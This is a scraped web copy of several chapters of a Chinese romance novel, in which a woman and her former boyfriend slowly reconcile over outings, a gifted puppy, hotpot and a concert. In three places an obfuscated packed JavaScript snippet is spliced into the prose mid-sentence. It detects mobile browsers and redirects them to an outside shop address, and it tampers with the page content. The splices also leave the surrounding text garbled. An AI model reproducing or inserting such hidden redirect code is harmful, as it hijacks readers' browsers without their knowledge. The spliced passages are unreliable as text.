“她没说别的,就是让我把握住机会,别再错过你了。” “就这些?” 贺知春坚定点头,视死如归。 “没别的?” “有,让我对你好一点,不然第一个弄死我。” “还行,这个大漏勺也不算特别漏风。” “累不累?” 贺知春见林晓玥松口,立刻岔开话题。 “有点儿,这两天的运动量赶上我平时一个月的了。” “想你这种久坐办公室的,就应该多出来活动活动,亲近一下大自然。” 贺知春伸手帮她揉捏肩膀。 “我腿酸,你给我捏肩干嘛?”林晓玥有些哭笑不得。 “那你正走着路呢,我也不能给您捶腿不是?” 贺知春说完,把林晓玥打横抱起来,这是他们之前经常会做的。 突然的举动吓得林晓玥一声惊呼:“啊!你干嘛?这么多人看着呢!” “你不是走累了吗?我抱你!” 贺知春得意洋洋,自己最近的健身成果得到了检验,抱起林晓玥简直是毫不费力。 “我现在不累了,你快放我下来!这么多人,不知道的还以为……” “还以为什么?” “以为我们是情侣。” 林晓玥不敢挣扎,怕自己把自己挣下去,摔个狗啃屎,那简直是天大的社死现场。 “嗯哼?难道不是吗?” 贺知春得意过了头,脱口而出才意识到,这不是两年前,林晓玥成长了,在没有自己的那段日子里,重新给裹上了厚厚的壳。 怎么才能把这层壳卸掉呢? 贺知春轻轻放下林晓玥,帮她把凌乱的头发别到耳后,她的气息有些不匀,看向他的眼神带了点戒备和紧张,尽管知道对方也是好意。 这里距离动物园出口还有一百米左右的距离,贺知春计上心来,提议道:“这样吧,我们玩个游戏。” “玩什么?” “石头剪子布。” “幼稚,你又在打什么主意?” “嘿嘿,瞒不过你,石头是十步,剪子两步,布是五步,输了的背对方。” 林晓玥摇摇头:“不可行,我自己都走不动,还背你?” “试试嘛!” “这样吧,赢了的向前走相应的步数,看谁先到门口。” “也行。” 虽然原计划落空,但也不是毫无收获。 贺知春痛快地答应下来。 游戏一开始还好好地进行着,两个人渐渐拉开了距离,走到一半的时候,贺知春已经领先了十米左右,林晓玥都快看不清他的手势了,这样下去必输啊! “石头剪刀布!” 林晓玥出了石头,向前伸直了腰依稀看到贺知春出了剪刀。 “你出的什么?”林晓玥提高了音量。 “石头!” 哼,就知道这人会耍赖,既然你不仁就别怪我不义了。 “我咋看着像剪刀呢?” 林晓玥不给贺知春狡辩的机会,三步并两步连跑带跳到和他并肩的位置,贺知春有些无语,叉起腰要说些什么,林晓玥脚下并未停,向他以一吐舌头:“不等你喽!拜拜!” 一溜烟跑向大门口。 “嘿!” 贺知春下一刻反应过来,拔腿追去,终于在门口抓住了他。 “耍赖是小狗儿!” 贺知春拦在林晓玥面前,低头轻喘着。 “明明是你先耍赖的!” “我不是我没有别瞎说!” “你跟我说这是石头?” 林晓玥伸手比了个剪刀的手势。 “嗯!没见过吧?回头我给你捡一个这种形状的石头。” “男人的嘴骗人的鬼!” 贺知春一路抬杠,来到停车场,把车开到了通道口。、 “公主请上车!” 林晓玥本来想坐到后排,贺知春一气呵成锁住了后排的车门,并且下车打开了副驾的车门。 “快上车哦,后面排队的车还等着。” 林晓玥无奈钻进了副驾,贺知春伸手越过她系上了安全带。 “天快黑了,我们回去得八点左右,吃完饭我把你送回家。” 咕~~~ 好嘞,肚子先自己一步回答了。 贺知春把头骗到一边偷笑:“咳,那什么,我争取开快点,省得把你饿晕了。” “不着急不着急,道路千万条,安全第一条。” “好嘞,那您忍一下。” “还好不是节日出来。” 林晓玥打开手机地图,一路漂绿。 “对,不然咱们得在高速上堵到怀疑人生。” 把林晓玥送上楼之后,贺知春在楼下的凉亭里见到了熟人。 “今天你立了大功!” 吴念结果贺知春递来的卡片:“会员卡?这么高端的健身房,我一直都没舍得办!” “谢礼。” 贺知春言简意赅。 “行,我收着了,以后有事儿您说话!” 吴念笑嘻嘻收好健身卡,准备回林晓玥家,明早从这里上学要近一些。 “诶等等。” “还有什么事?” “你今天怎么心情这么好?” “啊?有吗?可能是作为CP粉头子看到你们的关系有进展太开心了吧!” “行吧。” “对了,再赠送你一个秘密……” “今天去哪儿了?回来这么晚。” 吴念一回屋就看到林晓玥正襟危坐双手环胸上下打量着她,那眼神盯得吴念一阵阵心虚。 “那个……和同学吃了个饭。” “哦?午饭还是晚饭?” “午……晚饭。哎呀姐你别拷问我了。” 吴念放弃了挣扎,一屁股挤进沙发里搂着林晓玥的胳膊,“我保证没做坏事!我发誓!” 吴念信誓旦旦举起了三根手指。 “谅你也不敢,去铺床!” “好嘞!我就是您最忠诚的仆人!” 第二天林晓玥下班时,在家门口看到了贺知春,他手里捧着一束鲜花,脚边还有一个白色的箱子,上面系着天蓝色的蝴蝶结。 “来这么勤?不上班了?” “单位停电,提前下班了。” 林晓玥打开门,偏头示意他进来说话。 “那是什么?” “送你的礼物,稍等,接个电话。” “怎么了?” 挂断电话后,贺知春的脸色有些难看:“又来电了,实验有些问题需要解决,我得回去加个班。” “去吧,工作重要。” 贺知春离开后,林晓玥注意到箱子里发出的呜咽声,她扯住蝴蝶结的一端打开了箱子。 “咦?小狗!” 一只小巧的白色比熊正睁着一双大眼睛看着她,也不认生,没有乱叫。 箱子里铺了一层软软的垫料,足够它临时凑合两天。 “这又是什么?” 安置好小狗后,林晓玥又在贺知春带来的花束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993350|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里找到一个信封,揭开蜡封后从里面拿出一封信。 “表白信?情书啊,真是的,在一起的时候都没怎么收到过情书呢。” 林晓玥浏览着信纸上的内容,鹅黄色的信纸上散发着淡淡的香气,看到最后两行时,一滴眼泪啪嗒一声掉在纸面上,晕开了墨迹。 “下雨了?” 一滴水恰好滴落在吴念的眉心,冰得她一激灵,此时她刚好走到健身房门口。,于是赶紧快走几步进到了店里。 换好衣服来到跑步机旁,看到了一个熟悉的身影,伸出手在他面前晃了晃。 “诶?这么巧?学长你也在。” 江远尧摘下耳机:“是啊,刚下班正和过来锻炼一下,你下课了?” “大四哪还有课啊,一边赶论文一边准备考研。” “考研?这不是都毕业季了吗?” 吴念叹了口气,站上旁边的跑步机调好设置:“这不是没找到合适的工作嘛,打算考个研。” 毕竟能庇护自己,为自己托底的人已经不在了。 “嗯,挺好的,女孩子也要规划好自己的人生,不要留遗憾。” “你倒是和那些大人们不一样。” “嗯?” “不会劝我,女孩子要早点嫁人,不然岁数大了只能找二婚带娃的,就像他们之前给我姐介绍的那些一样。” “新时代女性有自己做决定的权利,不要因为年龄而对自己设限,会错过很多风景。” “所以我说你跟他们不一样,不愧是大城市待过的,有见识!” 吴念伸手比了个大拇指。 “少贫嘴了,想报哪里的研究生?” “嗯……太好的我也考不上,本市的就行。” “有什么弱项吗?” “英语!英语一可难了!学长你英语咋样?” “一般一般,也就那样,刚过六级,好久没学了。” “不应该啊,你们学医的不都看很多外国文献吗?” “那可不一样,那种期刊中译中都不一定看的明白。怎么用这种眼神看我?” “我有一个想法……” “你别有,我不想误人子弟。” “瘦死的骆驼比马大。” “你这是什么奇怪的比喻?” “好歹你也是读过研的人。” “我那是保的,没考。” “看在我开导了你这么久,帮你解开心结的份儿上……” “唉……如果我周末有空的话。” “一言为定!平时晚自习也可以加练。” “黄世仁都没你狠。” “反正你单身,下班后也没什么事。” “能别哪壶不开提哪壶不?” “好累,这不是帮你脱敏嘛,那我当你同意了!不白教,有回报的。” “什么回报?” “还没想好,要不给你介绍个女朋友?” “可算了吧,我还没想明白自己想要什么呢。” “那等你想明白了跟我说。” “真拿你没办法,再不闭嘴就要岔气,一点都不专业。” “本来就不专业啊,第一次来,我选择听医嘱。” “你要乖乖听话哦!” 林晓玥一下又一下抚摸着小狗,“给你起个什么名字好呢?” 信纸在一旁的茶几上放着,被泪水打湿的部分已经干了,上面是贺知春清秀的字迹:愿卿欢愉,予卿欢愉。 “欢欢?我们叫欢欢好不好?” “汪!” “你这是喜欢还是不喜欢呀?喜欢叫一声,不喜欢叫两声。” “汪!” “那我就当你同意喽!” 林晓玥拿出手机,抱着小狗比了个耶,编辑朋友圈: 【少女的年少不可得之物。】 第一条评论来自吴念:【哇!修勾~亲亲.jpg快到姨姨的麻袋里来!】 第二条评论来自吴女士:【打疫苗了吗?别让它咬你。】 啧,扫兴。 第三条点赞加评论:【起名了吗?】 林晓玥回复了那条评论:【叫欢欢。】 【好听,和我想的一样。】 “可不是嘛,从你那情书里得来的情感。” 林晓玥自己都没察觉到地笑了笑,打开购物软件搜索宠物用品,“欢欢别着急哦,妈妈给你买好吃的好玩的,让你做世界上最幸福的小狗狗!” 19. 第 19 章 【欢欢妈。】 手机屏幕上弹出一条聊天消息没说贺知春发来的。 【嗯?突然被这样叫还有点不习惯哈哈哈!】 【开心吗?终于有狗了。】 【开心。】 【那看在今天心情好的份上,可以邀请你明天和我一起共进晚餐吗?】 【去哪儿?】 林晓玥心情好的时候总是格外宽容。 【还去那家火锅吧,好久没吃过了。】 【好,几点见?】 【你下班后我去接你。】 【离我公司不远,我走着过去就行。】 只隔了一条街,林晓玥不愿意麻烦别人。 【不行,你怕热,我接你!】 【明天阴天,晒不到。】 【算我求你……】 【好吧,那你别把车子停门口。】 【为什么?难道还有别人追你?不行。】 【要罚款的大哥。】 这个人一天天都在想些什么? 【没事,哥现在有钱了。】 【罚我的……工资。】 【哦,那我给你报销。】 【你还是自己留着吧。】 【嗯,留着娶你。】 【……你有点放肆,退下吧。】 【喳!】 放下手机的林晓玥又拿起了桌上信纸,她想不通能写出这么文绉绉文字的,怎么也会说出那么油腻的话来。 不过贺知春还算听劝,没有把车真的停在公司门口。 林晓玥走出大门时只看他的人。 “车停哪了?” 贺知春面露尴尬:“早上上班路上撞了。” “严重吗?人受伤没?” “严重!” “让我看看!” 林晓玥上下检查着贺知春,只有手上有一块擦伤。 “难道是内伤?” “对,耽误我在心上人面前装B,很伤心。” “去你的,吓我一跳。人没事就好。” “人有事呢。” 贺知春伸出那只受伤的手,“疼。” “啧,是有点严重哈,再晚来一会儿伤口就愈合了。得多吃点肉补补,走吧。” “对不起。” “什么?” “本来说好接你的。” “你现在已经接到啦。” “哦……” “你这心态脆弱的,我有点怀疑你在国外那两年是怎么生存的。” “没有,我在外面很独立的。” “那你这手……” 好吧,苦肉计,林晓玥不想追究了,因为已经到了。 “又来啦?” 老板娘的记忆里也太好了,她认出了前几天刚来过店里的林晓玥。 “是啊,和之前一样,一斤半的羊腿肉,一份蔬菜拼盘。” 点完菜后贺知春一言不发,像个被霜打了的茄子。 “怎么了?” “你之前和谁一起来这里吃过?” “和江远尧啊。” “唉……” “叹什么气啊,和相亲对象一起吃饭不正常吗?” “可这是我们第一次约会的地方。” “你还记得?” “怎么可能忘?怎么敢忘。” 贺知春单手托腮,如果视线有温度,此刻林晓玥的脸怕是要被烧穿了。 “有事就说,你盯得我有点发毛。” “没事……就是很久没有这么认真地看过你了。感觉和以前一样,没有变化。” “怎么可能没有变化,我的白头发都多了好几根,毕竟三十的人了。” “是啊,都怪我。” “莫名其妙往自己身上揽什么呢?” “都怪我没有好好照顾你。” “和你没关系,是我自己老了而已。况且,我已经不恨你了。” “你还是恨吧。” “阁下是有什么受虐体质?” “你那次不是说不喜欢了所以也就谈不上讨厌,但我希望你面对我的时候还是会有情绪波动,哪怕是恨我呢。” “你误会了,我已经和这个世界和解了,对谁都一样,都是这种的淡淡的态度,这样挺好的,不以物喜,不以己悲。” “不好,一点也不好。活得像个圣人,无喜无悲,会不快乐,这点我清楚。” “但是也不会烦恼。” “烦恼我来解决,但你要快乐。” “怎么解决?人长大了就会变成这样。” 听起来有些道理,但总是感觉有哪里不对劲。 “打扰了,给你们上一下锅。开锅后十五分钟就可以吃了。” 老板娘亲自把锅端上来,倒进羊腿肉和其他佐料。 “这小伙子瞧着也眼熟,以前是不是也来过我店里?” “是啊,以前来过,她爱吃你们家的肉。” 老板娘的目光在两人之间巡梭了几番后恍然大悟:“哦,我想起来了,你们一起来过!” “老板娘你记性真好,这都记得!” “也不是都记得,店里天天这么多生面孔人来人往的,也就是当时我刚嫁到这里来,所以对你们的印象比较深刻。” “这两者之间有什么联系吗?” “第一次看到有女生亲手为男朋友剥虾的,我家那口子把你当成榜样非让我学习,让我给他一顿好揍!” “哈哈,老板娘你们想多了,我当时只是想展示一下自己剥虾的独门绝技,你不要有压力。” 老板娘笑着摇摇头道:“你当时那眼神我可太熟悉了,人只有在看向喜欢的人的时候,才会有那样的眼神。要珍惜缘分哦!” 老板娘说完便又去下一桌了。 “要珍惜缘分哦~” 贺知春模仿着老板娘的语气又重复了一遍。 “我挺珍惜的。” 干冰滚滚涌出,在二人之间划出了一条长河。 林晓玥伸手抓了一把,散了。 “我扪心自问,做到了问心无愧,你看,还是散了,握都握不住。” “没有散,是暂别。你看,我又回来找你了,我们还是有缘分的。” 贺知春握住林晓玥捏成拳头的手,轻轻松开她的手指,不断摩挲着。 贺知春的掌心温暖而干燥,和林晓玥被店里空调吹得冰凉的手形成了鲜明的对比。 “我知道,这两年来你对我的怨气很重,怪我为了自由为了前途放弃了你,对不起,当时是我不成熟,没苦硬吃,能力不够,觉得感情和学业不能兼得,对我们之间的感情没有信心。我这两年里每天都在想你,每天都在后悔。” “后悔什么?你不是从来不做让自己后悔的事吗?” 林晓玥尽量让自己的声音听起来平稳一些。 “后悔错过了你两年的时光,人生在世不过几十载,我就因为自己的任性浪费了两年可以和你在一起的时间,整整两年。” 不知道林晓玥是怎么走出来的,但绝不会比自己好过,毕竟自己是那个“负心汉”。 “我不想提以前了,所有的联系方式和聊天记录当时都删干净了,相关的记忆时间太长我也记不清了,现在的你对于我来说不过是个认识了很久的故人,现在这样坐下来叙叙旧,算了别叙旧了,聊聊天,挺好的。” “欢欢妈。” 贺知春往林晓玥碗里夹了一块肉,“我是真的后悔了,给我一个弥补你的机会,欢欢还那么小,它可不能没有爸爸啊!缺少父爱的小狗狗很可怜的。” 一瞬间林晓玥真的有些心软了,不过她还是习惯性地拒绝道:“为母则刚,我一个人也可以把它带大的。” “不,子非狗安知狗不想要爹焉?” 神逻辑,林晓玥一时竟无语凝噎。 “我给出的理由是不是无懈可击?别再拒绝我了,多吃点,家里还有个嗷嗷待哺的娃呢。” 贺知春说着,从火锅里夹出了一只通红滚烫的大虾。 “呼~呼~” 贺知春用四根手指捏着剥开了虾壳,把剥好的虾仁递到了林晓玥的碗里。 “看我干什么?趁热吃啊!” “你不是不会剥虾吗?这是跟谁学的?” 林晓玥盯着碗里完整的大虾仁心想,前人栽树那我就吃了这棵树!不吃白不吃! “自学的。” ??? “是我之前太过于有恃无恐了,还不知道剥个虾这么烫手呢。” “不会晾凉了?” “想趁热给你,怕慢了来不及。” 贺知春的感情是后知后觉的,失去林晓玥后的某一天他才意识到,那种生怕来不及的恐慌,于是他加紧完成实验,毕业回国。 还好,命运眷顾了他,愿意给他一个弥补的机会。 “嗯,好吃。” 命运说好吃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993351|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那我再给你剥一只。” “放凉再剥,真当自己练过铁砂掌呢?” “好嘞。” “进来吧,不用换鞋。” “我知道,又不是第一次来。” 贺知春第二次进到林晓玥的家里,丝毫没有把自己当成客人,径直朝沙发旁的白色箱子走去。 听到有人进屋,箱子里传来两声叫声,接着一个白色的毛茸茸的脑袋就出现在箱子上方,两只爪子搭着边缘。 “你娃饿了!” 林晓玥在卫生间,贺知春自顾自蹲下,狗粮就在箱子旁边,是他放在箱子里一起带过来的,他往小碗里添了半碗。 “慢点吃慢点吃。” 贺知春伸手揉着毛孩子的脑袋,小狗瞒着干饭也没空和他计较。 贺知春嘴上也没闲着:“欢欢啊,你记住,我才是你嫡亲的爹,要是有其他陌生男人来,你就给我咬他,狠狠地咬,不用留情!” “你俩在那里嘀嘀咕咕什么呢?” 林晓玥走出来就看到这一幕。 欢欢:我可一句话都没说。 小狗斜着眼看向贺知春,示意林晓玥它的无辜的。 “没说什么,跟我儿子随便聊聊天。” “怎么就成你儿子了?” 贺知春双手支着膝盖站起来:“也是,虎父无犬子,这不是我的狗儿子,这是我的虎儿子。” 欢欢内心:你才虎,你全家都虎。 “别瞎叫,小狗狗可听不得这些。” 林晓玥上前抱起小狗,“我考虑了一下。” “嗯?” “你说得对,人生苦短,所以我决定给自己一个机会。” “不是,不是应该给我一个重新追你的机会吗?” 林晓玥揉着毛茸茸的脑袋:“是给我一个重启人生的机会,我也不知道我会不会做得更好。” “你只管做你自己,然后考察我,对了,要定一个考察期吗?我什么时候可以转正?” “嗯……三个月吧,如果到时候我的心态还是没有调整过来,那我们之间的缘分大概就到此为止了。” “不行不行,我努努力,没准还能提前转正。” “你有什么办法吗?” 贺知春背着手在客厅里溜达了一圈,没有思路,又去厨房转了一圈,依旧没有思路。 “咋的?串门呢?还差卫生间和卧室,你要不找找灵感?” 贺知春抬脚走进了林晓玥的卧室,这是他第一次看到女孩子的房间,简洁,柔软,空气中弥漫着若有似无的香甜味道。 林晓玥为数不多的烧钱爱好,就是喜欢收集各种花果香的香水。 床下有一个上了锁的木头匣子,已经落满了灰。 “这是什么?私房钱?” 就这么明目张胆放在这? “这个嘛,很明显啊,尘封的回忆。” “有钥匙吗?” “你确定要看?” “可以吗?” “那只给你五分钟。” 林晓玥从床头柜的台灯上摘下一枚复古的小钥匙,咔哒一声,铜锁应声而开。 贺知春打开匣子,里面是一叠整整齐齐的信纸。 从中随便抽了一张,上面的内容好像是林晓玥的日记。 【今天看到了一棵像鸳鸯火锅一样的输,一半叶子绿油油的,另一半像火一样红,很想分享给你,却发现我那早已经没有了任何联系。 我还是有点想你,不过还好,已经能克服了,那些睡不着的日子都过去了。】 “怎么不看了?时间还没到。” 林晓玥看到贺知春只匆匆又翻了两张信纸,重新把那匣子锁了起来,背对着她低着头。 “不看了。” 瓮瓮的声音让林晓玥的心情莫名舒畅,世界上没有真正的感同身受,但复线个三五成的痛苦也是好的。 林晓玥不是完人,怎么可能会一切过往不究。 她的嘴角带着淡淡的笑意:“不看了还在那蹲着干嘛?快出来。” “稍等。” “出来给你看个好东西。” “什么?” 林晓玥倚在卧室门口,从背后掏出两张门票,是隔壁T市有名是古镇。 “公司的七夕福利,两张呢,你说我和谁去比较好呢?” 贺知春一把夺过那两张门票高举在头顶:“必须和我,我先替你收着,到时来接你!” 20. 第 20 章 七夕在八月初,在这之前一周,林晓玥最喜欢的乐队恰好官宣了在T市的演唱会,连唱三天,分别是七夕和前后两天。 “你去不去看?” 摸鱼间隙,夏梦凑过来问林晓玥,她们两个都是资深团粉。 “下午就开票了,据说有BOOMBOOMBOOM的大烟花,不是那种小打小闹的电呲花。” “有点纠结吗,我七夕答应了别人去古城玩儿,之前不是发了门票吗?合作商送的。” “嗯?谁?我闻到了八卦的味道。是你那个相亲对象?” “不是,前男友。” “好家伙,林晓玥你……” “嘘!小点声。” 林晓玥一把捂住她的嘴。 “你不是从来不吃回头草的吗?转性了?还是被谁附身了?” “没那么夸张,现在还是朋友。” “你可拉倒吧,谁家好人七夕和朋友一起出去逛啊?况且,真正爱过的人,怎么可能做朋友,你甘心吗?” “嗯,不甘心。” 尤其是想到他那个白月光,想到别人说他们是金童玉女天造地设的时候。 “第一次在不争不抢的人身上看到野心,不过话又说回来,可以买前后两天的票,错开七夕那天的活动不就好啦?” 见林晓玥有松口的迹象,夏梦又继续循循善诱:“小孩子才做选择,两个都要又怎样?” 手机震动了一下,是贺知春发来的,他昨天换了头像,说之前那个伪情头不吉利。 【弄到两张邀请函,我们可以前一天看演唱会,上次欠你的。】 【你哪来这么多门路?】 【这你别管,这是哥的能力。】 林晓玥盯着手机屏幕咧开嘴角,向夏梦扬了扬手机:“不好意思啊,演唱会有人请了,不过我可以帮你抢票!” 夏梦咬牙切齿地看着她:“重色轻友的东西!” “也没完全轻,不是还帮你抢票嘛!” “你那是残存的良心在作祟罢了。” “你要这么想,我也没办法。” “渣女。” “我还是爱你的,领导来了,快干活!” 夏梦一路小跑回到自己的工位,手机上给林晓玥发去自己的个人信息。 【务必抢到,将功赎罪。】 【我尽量。】 牛马一旦有了盼头,干起活来都格外卖力,月末盘点的时候,林晓玥难得没有加班,周五这天也提前请了半天假。 贺知春早早来到门口等她。 “我们怎么走?自驾还是高铁?” “开车吧,我看过了,古镇那边公共交通挺少的,我把车停在附近商场了。” “这次倒是记住不能随便停车了。” “可不嘛,我还在考察期,不能给你扣分的机会。” “我有那么严格吗?” “有,不,没有,你有没有听过一句话?” “什么?” “由爱生怖畏。” “听过,那你知不知道全文里还有一句?若离于爱者,无忧亦无怖。” 贺知春正在系安全带,咔哒一下手滑了:“别别别,别离,我就不该提这茬。后排有零食,你要是饿了就先简单吃点,我们大概需要三个小时。” 林晓玥扭头向后一看,还真有一大包零食,看样子都是她爱吃的。 “你什么时候买的?” “医院门口的超市,时间紧,简单买了点。” “谢谢,不过这才一点,我午饭都还没消化呢。” “那就饿了再吃,没事。” “饿了就给我吃这个呀?” 林晓玥故意拿话噎他,贺知春也不恼,手里稳稳握着方向盘:“不要给我挖坑哦,我是说,如果你在路上饿了的话,我查过了,T市卫这次演唱会添置了许多其他的活动,我们到时候把车停在酒店的停车场,然后一路一边吃一边打卡,溜达到体育馆刚刚好。” 贺知春的脸上写着三个字:快夸我。 林晓玥如他所愿:“这么周全呢?” “那是,你男人做什么都是很有计划的。” “咳咳,注意你的措辞,还在试用期昂。” “行,你未来的男人。我有点饿。” “中午没吃饭?” “太激动了来不及吃。” 贺知春做完手上的实验就直奔超市了。 “行,那你想吃什么?” 林晓玥伸长手臂把后排的购物袋够到自己面前,刷啦啦地翻找着:“虾片?薯条?还是果冻?” “嗯,有袋栗子仁,打开喂我一个,我在开车不方便。” “好。” 林晓玥找到了贺知春说的那袋栗子仁,打开后自己先吃了一个,软糯香甜,味道不错。 “嘿!” “逗你的。” 林晓玥伸出手,贺知春侧过头瑶柱那颗栗子。 “嗯,好吃,就当是你亲手给我剥的了。” “说得自己那么可怜干嘛?” “不可怜,我自找的。” “高速上车还挺多,不会都是去看演唱会的吧?” “放心吧,一切都在我的掌控之内,拥堵时间已经算在计划里了。” “表扬你,再来一个。” “表扬会加分吗?” “不会,不扣分还不行?” “你这个女人太狠心了,不过我喜欢,只有我才受得了。” “那不一定。” “我说一定就一定,你是我的。” 林晓玥都不知道这个人哪来的这么多自信。 “到了,用时不到三小时,先把行李放下。” “你订了两间房?” “嗯,我在你隔壁。” 贺知春又凑到林晓玥耳边,热气吹拂着她的碎发,“当然了,如果你太想我,也可以来找我,我二十四小时待命。” 林晓玥刚想说他还挺尊重自己,这家伙果然狗嘴里吐不出象牙来,总算知道他大学时的外号为什么叫狗子了,她伸手在他胳膊上掐了一把。 “下一站去哪儿?” “有一家商场,里面有乐团的卡通雕塑,可以合影打卡,还有他们的潮牌快闪店,你不是喜欢那个胡萝卜玩偶吗?我们也买一个。” “行,我看网上说有一家出名的老字号饭店,可以凭门票免费领酸奶,印着歌词的那种。” 林晓玥低头在手机上翻着攻略。 “小心!” 逆向走来一个人,眼看着就要撞上林晓玥,贺知春一把揽住她的肩膀,将她往里带了带,避免了一场小型事故。 “还好是在人行道上,走路的时候能不能不要看手机?” “知道啦知道啦,这不是在步行街嘛,你看!那个大公仔是不是主唱?” 林晓玥抬手指过去,那是一个穿着粉色衣服的巨大公仔,就停放在步行街的尽头,广场的正中央。 已经有人在哪里排队拍照了。 “去吧!我给你拍照。” 贺知春脖子上还挂着一个微单,临时找朋友借的。 “把我拍好看一点。” “知道啦。” “实在不会用就用手机。” “小看我,一二三茄子!” “技术竟然还可以。” 贺知春也对自己拍出来的效果很意外,看来回去之后自己也要买一个相机。 “接下来先买萝卜还是先买酸奶?” “萝卜!限量的,去晚了就没有了。” “好,但你能不能走慢点。”一跳一跳的像一只小兔子。 林晓玥开心的时候就会跳着走路,不过她还是听贺知春的慢了下来。 “你有没有发现什么?” 她在贺知春耳边轻轻问道。 “没有啊,你跳得更高了?” “不是这个,你看!” 林晓玥指着收银台的方向,“那两个人的背影是不是很眼熟?我咋瞅着像吴念和……江远尧?” 听到这个名字,贺知春快速戒备,眯着眼打量着,果然,吴念这个盟友怎么回事?还把他带过来,搁这和我玩儿碟中谍呢? 但很快他就注意到了一处细节,拉住了想要上前一探究竟的林晓玥。 “你过去干嘛?” “遇见熟人不得打个招呼?” “你不是社恐吗?” “可那是我表妹,我恐她?哎呀他们要走了,都怪你!” 贺知春长舒一口气,和林晓玥去结账。 “怪我怪我,请你喝酸奶,我都提前在网上排好队了。” 贺知春晃了晃手中的手机,上面显示前面还有六个人,现在赶过去刚刚好。 “你说我们会不会在酸奶哪里再遇到他们?”林晓玥问道。 “好问题,要不我们还是打包带走吧。” 片刻后,林晓玥端着酸奶杯走在路上。 “可不管我的事,是店里生意太好没有座位了。” “那我们现在去体育馆吗?” “你还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993352|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么别的想吃的吗?晚上可是要很晚才散场的哦。” “没有了,现在不饿,走吧。” “这才下午五点,入口处就已经有人在排队啦?” 贺知春没有看过演唱会,但也知道一般不会这么早开始。 “对啊,门票上不是写了五点半开始检票吗?” “可是进去这么早,干坐着多无聊?” “这你就不懂了,这种体育馆都大得很,跑进去找楼层找分区找座位,都需要时间的。” “哦,原来是这样,还是你有经验。” “那是,大学时攒钱买了两张票,带我妈去看演唱会,幸亏入场早,当时开场曲响起的时候还有一群人在跑步进场呢。” “但我觉得我们今天不用那么着急。” “为什么?” “山人自有妙计。” 贺知春卖了个关子,视线看向一棵大树下。 “诶,那边有画应援妆的,还有编头发,你要体验一下吗?” “啊?” “走吧走吧,来都来了,咱们整全套的。” 林晓玥坐在小马扎上,乖巧地像个幼儿园的小朋友,任由化妆师给自己脸上涂涂抹抹。 “我以前没有画过。” “今天实现了呀!” “我们开场真的不会迟到吗?” “我像是什么不靠谱的人吗?” “有点儿。” “屁,对我有点信心。” “哦……” “你们小情侣好恩爱哦!” 编头发的小姑娘笑嘻嘻说道。 林晓玥有些不好意思,岔开了话题:“你们是附近的大学生吗?” “是啊,就是在不远的大学。” “专门来兼职勤工俭学的?” “哈哈哈不是,也是来看演唱会的,顺便摆个摊回回本儿。” “很有经济头脑嘛!” “小姐姐你也是大学生吗?” “我看起来有那么年轻吗?你猜我多大?” “二十不能再多了!” 林晓玥抬眼看了贺知春一眼,满是得意。 “我都工作好几年啦!人啊,一旦开始上班,眼里就会失去光,珍惜你们的大学生活吧!” “可是姐姐看起来很可爱呢!” 小姑娘连连夸赞道,“配合我编的头发,更可爱了!” 这时化妆的妹子也大功告成了,满意地欣赏着自己的杰作:“再配上我画的妆,更更可爱了!” 林晓玥的脸腾一下红了,很久没有被人这么夸过了。 贺知春掏出手机扫码转账。 “支付宝到账,一百元。” 蓝牙小音箱响起。 “不用不用这么多,都足够我们再画一份了!” 小姑娘手忙脚乱就要退回一半的钱。 贺知春摆摆手拉着林晓玥离开:“不用找了,大热天的两个小姑娘不容易,请你们喝奶茶。” “谢谢哥哥!祝你们百年好合!” “借你吉言!” 贺知春笑意盈盈地道谢,脚步都轻盈了不少。 此时排队的人已经多了起来,贺知春却在带林晓玥绕着体育馆外围转圈。 “不排队进去这是在做什么?” “我们是包厢票,要从指定的检票口进。” “包厢票?我听说那个挺贵的,你不会是高价买的吧?那可不值得啊。” 林晓玥皱着眉,这人可真不会过日子。 “当然不是,真是朋友送的。” “那暂且相信你吧,在几楼?” 过了安检还有很长的一段楼梯要爬,尽管今天不是特别热,但毕竟还是在夏天,林晓玥有些发怵。 “我们不爬楼,坐电梯。” 贺知春带林晓玥来到一扇与众不同的大门前,门口站着志愿者,引导他们进入电梯间。 林晓玥惊喜地看向贺知春,对方投来一个十分臭屁的眼神。 “爱妃还有什么惊喜是朕不知道的?” “你猜。” 电梯打开是一排包厢,顺着邀请函找到对应的房间,推开门是扑面而来的凉风。 “哇塞还有空调和沙发。” “这就是弟妹吧?” 一个妆容精致的女人出现在面前,她身后的高挑男人应该是她的丈夫,带着衣一副金丝眼镜,看上去斯文儒雅。 “师兄不要拿我打趣,现在还不是呢。” 有了前车之鉴,贺知春不敢把话说太满。 21. 第 21 章 